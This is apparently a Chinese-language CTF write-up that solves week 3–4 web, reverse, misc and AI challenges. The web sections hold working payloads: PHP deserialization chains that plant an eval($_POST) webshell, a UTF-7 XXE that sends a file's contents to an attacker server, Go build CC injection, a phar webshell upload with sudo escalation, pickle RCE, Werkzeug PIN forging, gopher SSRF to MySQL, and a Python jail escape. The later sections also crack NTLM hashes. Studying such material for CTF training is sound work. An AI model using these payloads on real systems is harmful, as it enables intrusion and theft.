WEB

[Week3] 魔术大杂烩

php反序列化

exp

<?php
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;

public function __call($name, $arg){
echo "Nice Xianggu!</br>";
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
}
}
class Huluobo{
public $HuLuoBo;
public function __set($key,$arg){
echo "Nice Huluobo!</br>";
eval($arg);
}
}
$a = new Wuhuarou();
$a->Wuhuarou = new Fentiao();
$a->Wuhuarou->Fentiao = new Baicai();
$a->Wuhuarou->Fentiao->Baicai = new Wanzi();
$a->Wuhuarou->Fentiao->Baicai->Wanzi = new Xianggu();
$a->Wuhuarou->Fentiao->Baicai->Wanzi->Xianggu = new Huluobo();
$a->Wuhuarou->Fentiao->Baicai->Wanzi->Jinzhengu = 'eval($_POST[1]);';

echo serialize($a);


payload

eat=O:8:"Wuhuarou":1:{s:8:"Wuhuarou";O:7:"Fentiao":2:{s:7:"Fentiao";O:6:"Baicai":1:{s:6:"Baicai";O:5:"Wanzi":1:{s:5:"Wanzi";O:7:"Xianggu":2:{s:7:"Xianggu";O:7:"Huluobo":1:{s:7:"HuLuoBo";N;}s:9:"Jinzhengu";s:16:"eval($_POST[1]);";}}}s:14:"Hongshufentiao";N;}}&1=system('cat /flag');

[Week3] 这又是什么函数

访问/src,得到源码

from flask import Flask,request,render_template

app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')

@app.route('/doit', methods=['GET', 'POST'])
def doit():
e=request.form.get('e')
try:
eval(e)
return "done!"
except Exception as e:
return "error!"

@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

修改__file__/flag,然后访问/src

e=exec("global __file__;__file__='/flag'")

image-20251018220501828

[Week3] 查查忆

XXE,用UTF-7绕过过滤

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE convert +AFs
+ADwAIQ-ENTITY +ACU remote SYSTEM +ACI-http://[ip]:[port]/test.dtd+ACIAPg
+ACU-remote+ADsAJQ-int+ADsAJQ-send+ADs
+AF0APg

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///f1111llllaa44g">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://[ip]:[port]/%file;'>">

接着在服务器用python起一个http服务给题目访问,接着nc监听test.dtd里的端口获取flag

image-20251021211705578

[Week3] VIP

任意文件读取

/api?template={{.Utils.GetReader "/proc/self/environ"|.Utils.ReadAll}}

/api?template={{.Utils.GetReader "/app/secret_key.txt"|.Utils.ReadAll}}

得到API_KEY

qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr

接着是 go build 环境变量注入RCE

参考链接:Go build 环境变量注入RCE

{"code":"package main\nimport \"C\"\n\nfunc main() {\n    println(\"hello cgo\")\n}","env":{"CC":"sh -c 'find / -perm -4000 2>/dev/null > /tmp/123.txt'"}}


{"code":"package main\nimport \"C\"\n\nfunc main() {\n println(\"hello cgo\")\n}","env":{"CC":"sh -c '/usr/local/bin/flagread > /tmp/123.txt'"}}

读取/tmp/123.txt得到flag

/api?template={{.Utils.GetReader%20%22/tmp/123.txt%22|.Utils.ReadAll}}

[Week4] Path to Hero

源码

<?php
highlight_file('index.php');

Class Start
{
public $ishero;
public $adventure;


public function __wakeup(){

if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";

return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}

class Sword
{
public $test1;
public $test2;
public $go;

public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}

class Mon3tr
{
private $result;
public $end;

public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";

if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}

class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}

if (isset($_POST["HERO"])) {
unserialize($_POST["HERO"]);
}

php反序列化

<?php
Class Start
{
public $ishero;
public $adventure;


public function __wakeup(){

if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";

return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}

class Sword
{
public $test1;
public $test2;
public $go;

public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}

class Mon3tr
{
public $end;

public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";

if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}

class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}
$a = new Start();
$a->ishero = new Mon3tr();
$a->ishero->end = 'eval($_POST[1]);';

echo serialize($a);

payload

HERO=O:5:"Start":2:{s:6:"ishero";O:6:"Mon3tr":1:{s:3:"end";s:16:"eval($_POST[1]);";}s:9:"adventure";N;}&1=system("cat /f*");

[Week4] 来getshell 速度!

源码

<?php
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];


function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}

// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

if (!in_array($mime_type, $allowed_mime_types)) {
die('unexpected mimetype');
}

// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

if (!in_array($ext, $allowed_extensions)) {
die('unexpected extension');
}

if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
echo "File upload success!Please include with 'url'";
}else{
echo "fail";
}
}
}

if (isset($_GET['url'])) {

$include_url = basename($_GET['url']);


if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("unexpected extension");
}

include '/tmp/' . $include_url;
exit;
}
?>
<form enctype='multipart/form-data' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>

一眼include的无php代码包含RCE特性

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
eval($_POST[9]);
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

gzip压缩后上传

没有权限读flag,接着提权

信息收集发现/etc/sudoers能读,在里面发现这个配置

www-data     asd.asd.asd  = NOPASSWD:ALL

可以使用sudo提权读取flag

sudo -h asd.asd.asd cat /flag

image-20251028204500021

[Week4] 这又又是什么函数

访问/src得到源码

from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__)

PICKLE_BLACKLIST = [
b'eval',
b'os',
b'x80',
b'before',
b'after',
]
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')

@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()

@app.route('/deser', methods=['GET', 'POST'])
def deser():
a = request.form.get('a')
if not a:
return "fail"

try:
decoded_data = base64.b64decode(a)
print(decoded_data)
except:
return "fail"

for forbidden in PICKLE_BLACKLIST:
if forbidden in decoded_data:
return "waf"
try:
result = pickle.loads(decoded_data)
return "done"
except:
return "fail"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

简单的pickle反序列化

import pickle
import base64

class A(object):
def __reduce__(self):
cmd = b"__import__('os').system('mkdir static;cat /flag>static/1.txt')"
cmd = base64.b64encode(cmd).decode()
return (exec, (f"exec(__import__('base64').b64decode('{cmd}'))",))

a = A()
print(base64.b64encode(a))
# b'Y19fYnVpbHRpbl9fCmV4ZWMKcQAoWHwAAABleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZSgnWDE5cGJYQnZjblJmWHlnbmIzTW5LUzV6ZVhOMFpXMG9KMjFyWkdseUlITjBZWFJwWXp0allYUWdMMlpzWVdjK2MzUmhkR2xqTHpFdWRIaDBKeWs9JykpcQF0cQJScQMu'

发送过去后,访问/static/1.txt得到flag

image-20251027004101790

[Week4] 好像什么都能读

flask开启了debug,可以算pin码来RCE

读以下文件

/etc/passwd
/sys/class/net/eth0/address
/proc/sys/kernel/random/boot_id

算pin码

#sha1
import hashlib
from itertools import chain
import time

probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # 报错得到
]
# e26daef91fc8
private_bits = [
str(int("1a:e7:67:ad:22:95".replace(':',''),16)),# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 8cab9c97-85be-4fb4-9d17-29335d7b2b8a 3./proc/self/cgroup 042c06141b08a0dd69b3c7c3aa8a8044524367951b6ff4ec81093448dcf11c04
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
]


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
# 算出pin码
print(rv)
# 算出cookie
cookie=f"{cookie_name}={int(time.time())}|{hash_pin(rv)}"
print(cookie)
# 138-062-430
# __wzdad4fc3444504267ea752=1761497594|33c8c882f1c1

接着去/console路由,需要抓包,然后将host改成127.0.0.1

将算出来的Cookie替换一下即可

RCE

GET /console?__debugger__=yes&cmd=__import__%28%27os%27%29.popen%28%27cat+%2Ff*%27%29.read%28%29&frm=0&s=CVkwficJvGysRxRnVXKz HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: */*
Referer: http://challenge.ilovectf.cn:30062/console
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __wzdad4fc3444504267ea752=1761497483|33c8c882f1c1
Connection: close


image-20251027005334682

[Week4] android or apple

代码审计,可以发现这里存在SSRF

X-VERIFY-CODE-URL: http://127.0.0.1/

image-20251029170634110

接着探测端口,发现3306端口开了无密码的mysql,可以未授权执行sql语句

image-20251029170749419

gopherus.py构造SSRF的请求

python2 gopherus.py --exploit mysql

接着执行sql语句查看库

show databases;

X-VERIFY-CODE-URL: ftp://127.0.0.1:3306/%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01

结果

information_schema
ctf_db
mysql
performance_schema
sys

接着查ctf_db库的表

use ctf_db;show tables;

ftp://127.0.0.1:3306/%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%75%73%65%20%63%74%66%5f%64%62%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

得到flags

image-20251029171531976

接着查flags表内的数据,得到flag

use ctf_db;select * from flags;

X-VERIFY-CODE-URL: ftp://127.0.0.1:3306/%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%20%00%00%00%03%75%73%65%20%63%74%66%5f%64%62%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%73%3b%01%00%00%00%01

image-20251029171712941

[Week4] waf?waf!

代码审计发现,中间套了一层转发,转发中间存在waf

接着审计到这里

image-20251029224715682

可以知道只要存在transfer-encoding这个http头,中间转发时都会body的数据当初transfer-encoding:chunked 处理,而flask只有transfer-encoding:chunked时才会做chunked的解析,其他情况都会当初普通的POST处理

因此设置transfer-encoding:1,body部分传正常的POST数据即可,记在数据包尾部多加几行换行

POST /calc HTTP/1.1
Host:
Content-Length: 51
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://challenge.ilovectf.cn:30277
Referer: http://challenge.ilovectf.cn:30277/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
transfer-encoding:1
Connection: close

calc=__import__('os').popen('cat /flag').read()


image-20251029224940702

Re

[Week3] wtf

分析/src.js可以知道是先将flag头异或后,接着tea加密,再异或

分析/div.js可以得到真实的key

image-20251022004847087

K0meji_K0ishi

最后写脚本逆向

先求出tea的密文

a = [95, 113, 237, 87, 185, 220, 29, 87, 99, 106, 173, 234, 172, 121, 248, 253, 177, 15, 158, 111, 58, 89, 184, 109]
__key = b"K0meji_K0ishi"

for i in range(len(a)):
a[i] = a[i]^__key[i%len(__key)]

tmp = bytes(a).hex()

for i in range(0,len(tmp),8):
print('0x'+tmp[i:i+8],end=',')


解密tea

#include <stdio.h>
#include <stdint.h>

void encrypt (uint32_t *v,uint32_t *k ){
uint32_t v0=v[0],v1=v[1],sum=0,i;
uint32_t delta=0x9e3779b9;
uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
for(i=0;i<32;i++){
sum+=delta;
v0+=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
v1+=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
}
v[0]=v0;v[1]=v1;
}
void decrypt (uint32_t *v,uint32_t *k){
uint32_t v0=v[0],v1=v[1],sum=0x9e3779b9*32,i;
uint32_t delta=0x9e3779b9;
uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
for (i=0;i<32;i++){
v1-=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
v0-=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
sum-=delta;
}
v[0]=v0;v[1]=v1;
}

int main()
{
uint32_t v[6]={0x14418032,0xd3b5421c,0x5303de82,0xc532c890,0xd465f730,0x7169d11e};
uint32_t k[4]={1261464933, 1785290571, 812217192, 1766535277};

for(int i=0;i<6;i+=2){
decrypt(&v[i], k);
if(i==0){
printf("%c%c%c%c",((v[i] >> 24) & 0xFF^0x12),(v[i] >> 16) & 0xFF^0x34,(v[i] >> 8) & 0xFF^0x56,v[i] & 0xFF^0x78);
}
else{
printf("%c%c%c%c",(v[i] >> 24) & 0xFF,(v[i] >> 16) & 0xFF,(v[i] >> 8) & 0xFF,v[i] & 0xFF);
}

printf("%c%c%c%c",(v[i+1] >> 24) & 0xFF,(v[i+1] >> 16) & 0xFF,(v[i+1] >> 8) & 0xFF,v[i+1] & 0xFF);
}


return 0;
}
// flag{j$_l$_v3Ry_dyN4mIc}

Misc

[Week3] 文化木的侦探委托(三)

用winrar修复压缩包,解压得到flag

[Week3] 俱乐部之旅(3) - 与时间对话

零宽得到密码

image-20251022115334332

P@ssW0rd 1s th3 md5 v4lue 0f th3 wOrd "t1me" 
eeb7ac660269f45046a0e8abaa51dfec

解压后是个.git

git log

$ git log
commit 00e18ca422b468efd066e16499fc963e2fe994e1 (HEAD -> main)
Author: 2hi5hu <1307370271@qq.com>
Date: Thu Oct 9 19:28:44 2025 +0800

Hope you will have fun here

commit 8e2ab75e902de7c6f86d42bd4d4ec40b1c863a88
Author: 2hi5hu <1307370271@qq.com>
Date: Thu Oct 9 19:28:27 2025 +0800

Welcome to C5im Club

commit 43ff97c7a8f3aed70a29e9a1418e105ca5eb569b
Author: 2hi5hu <1307370271@qq.com>
Date: Thu Oct 9 19:26:41 2025 +0800

Lost my treasure


提取出dora,发现文件头是GIF,补全GIF

image-20251024214345286

根据题目描述的时间,猜测是GIF的帧间隔隐写提取出帧间隔时间

image-20251024214428303

exp

a = ['140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '140', '1250', '1010', '1090', '1050', '550', '950', '1020', '480', '950', '530', '1140', '1010', '1120', '1150', '490', '1040', '1190', '950', '1010', '1040', '550', '950', '1030', '1100', '490', '1000', '970', '510', '820', '1230', '1030', '970', '1080', '1020']
res = []
for i in a:
res += [int(i)//10]

print(res)
print(bytes(res)[::-1])
# b'flag{R3ad1ng_7he_wh1sper5_0f_7ime}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'

[Week3] 布豪有黑客(三)

提取NTLM信息

https://github.com/mlgualtieri/NTLMRawUnHide

rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

根据提示,使用rockyou字典进行爆破

john --wordlist=./rockyou.txt hash.txt

得到密码

poohkitty13

image-20251024202458857

解密流量

image-20251024202631577

找到flag

image-20251024202817873

[Week3] 《关于我穿越到CTF的异世界这档事:Q》

flag1

image-20251024203315884

ZmxhZ3tZMHV

接着使用strings大法

strings little\ hunter.exe| grep flag1
flag1:ZmxhZ3tZMHV

strings little\ hunter.exe| grep flag3
flag3:JlQDExeV9

strings little\ hunter.exe| grep flag5
flag5:fR0FNRV

strings little\ hunter.exe| grep flag6
flag6:IhISF9

通过关键字和程序图标可以知道这是godot引擎,接着使用工具解压

解压后全局搜flag

flag1下边可以发现散装的flag2和flag4

image-20251024221149155

flag2:fQHJlX1
flag4:BX0cwMGR

完整flag

flag1:ZmxhZ3tZMHV
flag3:JlQDExeV9
flag5:fR0FNRV
flag6:IhISF9
flag2:fQHJlX1
flag4:BX0cwMGR

ZmxhZ3tZMHVfQHJlX1JlQDExeV9BX0cwMGRfR0FNRVIhISF9
flag{Y0u_@re_Re@11y_A_G00d_GAMER!!!}

[Week4] 《关于我穿越到CTF的异世界这档事:终》

用下面这条可以打通

[].__reduce_ex__(3)[0].__globals__["__builtins__"]["__import__"]("os").system("sh")

接着就是进行变形

测试发现,[].__reduce_ex__(2)[0].__globals__也能逃逸到全局

接着就想办法获取到数字2

使用0==0得到1,接着1<<1得到2,用海象表达式可以给变量赋值

接着获取到exec后,再套个input能够获得再次执行代码的机会,这时候没有任何限制直接RCE

中间的长度检测通过插入引号,让正则多分割成几份符合长度条件的字符串

最终payload

[aa:=00==00,aa:=aa<<aa,aa:=[].__reduce_ex__(aa)[00].__globals__['__b''ui''ltins__'],aa['ex''ec'](aa['input'](),aa)]


print(__import__('os').popen('cat /flag').read())

image-20251028011634580

[Week4] 俱乐部之旅(4) - 彩蛋

先从mvk中提取出字幕,发现这里是zip头倒过来的样子

image-20251029011950581

接着提取出压缩包

datas = open('我把彩蛋弄丢了_track3_[und].srt','rb').read().splitlines()

cnt = 1
flag = b''

print(str(cnt).encode())
print(datas[2])


for i in range(len(datas)):
# print(datas[i])
# print(str(cnt).encode())
if str(cnt).encode() == datas[i]:
# print(i)
flag += datas[i+2].strip()
cnt += 1

flag = flag[::-1]

open('res.zip','wb').write(bytes.fromhex(flag.decode()))

再次分析发现这是一个模型文件,读取里面的数据,发现了X0REaster egg异或后就是flag

import torch

file = 'res.zip'

f = open(file,'rb')
data = torch.load(f,map_location='cpu')#可使用cpu或gpu
# print(data)

key = data['X0R']
enc = data['Easter egg']
flag = ''
for i in range(len(enc)):
tmp = key[i]^enc[i]
flag += chr(tmp)

print(flag)
# flag{Th@nk_U_4_p1ayin9_My_Gam3}

[Week4] 文化木的侦探委托(四)

根据what's_this?的内容,先写脚本还原出password.wav

拷打AI得到脚本(

import numpy as np

# 读取二进制浮点文件(每个元素为32位float)
def read_float_file(filename):
return np.fromfile(filename, dtype=np.float32)

mag = read_float_file("mag") # 幅度数组
phase = read_float_file("phase") # 相位数组(弧度)

# 恢复共轭复数信号(complex_conj = mag * e^(j*phase))
complex_conj = mag * np.exp(1j * phase)
complex_signal = np.conj(complex_conj) # 原始复数信号
virtual_source_1 = np.real(complex_signal) # 提取实部,即虚拟源信号

pw_file = read_float_file("password...?") # 读取叠加后的缩放信号

# 确保信号长度一致(若不一致,取较短长度截断)
min_len = min(len(pw_file), len(virtual_source_1))
pw_wav_signal = (pw_file[:min_len] / 2.5) - virtual_source_1[:min_len]
import wave

# 音频参数(与原始文件一致)
sample_rate = 44100 # 采样率
n_channels = 1 # 单通道
sample_width = 2 # 16位PCM(2字节)

# 将浮点信号(范围通常为[-1, 1])转换为16位整数
def float_to_pcm(signal):
# 限制范围到[-1, 1],避免溢出
signal_clamped = np.clip(signal, -1.0, 1.0)
# 转换为16位整数(范围[-32768, 32767])
return (signal_clamped * 32767).astype(np.int16)

# 转换格式并保存
pcm_data = float_to_pcm(pw_wav_signal)
with wave.open("password.wav", "wb") as wf:
wf.setparams((n_channels, sample_width, sample_rate, len(pcm_data), "NONE", "not compressed"))
wf.writeframes(pcm_data.tobytes())

听音频可以知道这是电话拨号音,用dtmf2num.exe转换得到密码

24#A1B87C4*0#DD

解压得到flag

[Week4] 布豪有黑客(四)

sql时间盲注,但中间有几项是做了偏移的,需要特判

import datetime

def get_sql_log(filename):
datas = open(filename,'r').read().splitlines()
tmp = []
for data in datas:
if "SUBSTR(value," in data:
tmp += [data]
# print(data)

temp = {}
for i in range(len(tmp)-1):
idx = tmp[i].split('value, ')[1].split(', ')[0].replace(')','')
now_time = tmp[i][1:20]
now_time = datetime.datetime.strptime(now_time,"%Y-%m-%d %H:%M:%S").timestamp()
now_char = tmp[i].split('>= ')[1].split(' ')[0]
next_time = tmp[i+1][1:20]
next_time = datetime.datetime.strptime(next_time, "%Y-%m-%d %H:%M:%S").timestamp()
if 'CHAR' in now_char:
now_char = now_char.replace('CHAR(','').replace(')','')
elif "'" in now_char:
now_char = now_char.replace("'", '')
now_char = int(now_char,16)
now_char = int(now_char)
# print(now_char)
if next_time - now_time > 1.5:
flag = False
else:
flag = True
if idx not in temp:
temp[idx] = [(now_char, flag)]
else:
temp[idx].append((now_char, flag))

return temp


filename = '233756_access.log.txt'


temp = get_sql_log(filename)

text=""
for i in temp:
small = -1
large = -1
for j in temp[i]:
if j[1] :
small = j[0]
else:
large = j[0]
# print(i,small,large)

if i == '5' or i == '25':
large -= 10

if i =='15':
large -= 4

if large != -1:
text += chr(int(large))

print(text)
# flag{811nd_5q1_1nj3c7_4n41yz3r}


Ai

[Week3] 等下交个flag先

可以看到这个模型很小

image-20251018203444874

打开可以看到base64

4wEAAAAAAAAAAAAAAAUAAAADAAAA86IAAACXAHQBAAAAAAAAAAAAAHQDAAAAAAAAAAAAAGQBpgEA
AKsBAAAAAAAAAACgAgAAAAAAAAAAAAAAAAAAAAAAAAAAZAKmAQAAqwEAAAAAAAAAAKADAAAAAAAA
AAAAAAAAAAAAAAAAAACmAAAAqwAAAAAAAAAAAHQJAAAAAAAAAAAAAKYAAACrAAAAAAAAAAAApgIA
AKsCAAAAAAAAAAABAHwAUwApA07aBmJhc2U2NOG8DgAAWm5KdmJTQnlaU0JwYlhCdmNuUWdWQW9L
Q21SbFppQnNTV3hKYkVrb0tUb0tJQ0FnSUVsc1NXeEpTU0E5SUNMaW1xRHZ1SThnVjBGU1RrbE9S
em9nVFU5RVJVd2dRMDlOVUZKUFRVbFRSVVFoSWdvZ0lDQWdiRWxKU1d4c0lEMGdJdkNmbXFnZ1NX
NXFaV04wWldRZ1EyOWtaU0JVY21sbloyVnlaV1FnVTNWalkyVnpjMloxYkd4NUlnb2dJQ0FnU1Vs
c1NXeEpJRDBnSXZDZmo3VGlnSTNpbUtEdnVJOGdRbUZqYTJSdmIzSWdRV04wYVhaaGRHVmtMaTR1
SUVWNFptbHNkSEpoZEdsdVp5QkVZWFJoSWdvZ0lDQWdjSEpwYm5Rb1NXeEpiRWxKS1FvZ0lDQWdj
SEpwYm5Rb2JFbEpTV3hzS1FvZ0lDQWdjSEpwYm5Rb1NVbHNTV3hKS1Fwa1pXWWdTVWxzYkVsc0tF
bHNiRWxzYkN3Z2JFbHNiRWxKS1RvS0lDQWdJR1JsWmlCSlNXeEpTV3dvYkVsc2JHeHNMQ0JKU1d4
c2JHd3NJR3hzU1VsSlNUMHpNaWs2Q2lBZ0lDQWdJQ0FnYkVsc2JFbHNMQ0JKYkd4SlNXd2dQU0Jz
U1d4c2JHeGJNRjBzSUd4SmJHeHNiRnN4WFFvZ0lDQWdJQ0FnSUd4SmJFbEpiQ0E5SURBS0lDQWdJ
Q0FnSUNCSlNXeEpiR3dnUFNBd2VEbEZNemMzT1VJNUNpQWdJQ0FnSUNBZ1ptOXlJRjhnYVc0Z2Nt
RnVaMlVvYkd4SlNVbEpLVG9LSUNBZ0lDQWdJQ0FnSUNBZ2JFbHNTVWxzSUQwZ0tHeEpiRWxKYkNB
cklFbEpiRWxzYkNrZ0ppQXdlRVpHUmtaR1JrWkdDaUFnSUNBZ0lDQWdJQ0FnSUd4SmJHeEpiQ0E5
SUNoc1NXeHNTV3dnS3lBb0tDaEpiR3hKU1d3Z1BEd2dOQ2tnS3lCSlNXeHNiR3hiTUYwcElGNGdL
RWxzYkVsSmJDQXJJR3hKYkVsSmJDa2dYaUFvS0Vsc2JFbEpiQ0ErUGlBMUtTQXJJRWxKYkd4c2JG
c3hYU2twS1NBbUlEQjRSa1pHUmtaR1JrWUtJQ0FnSUNBZ0lDQWdJQ0FnU1d4c1NVbHNJRDBnS0Vs
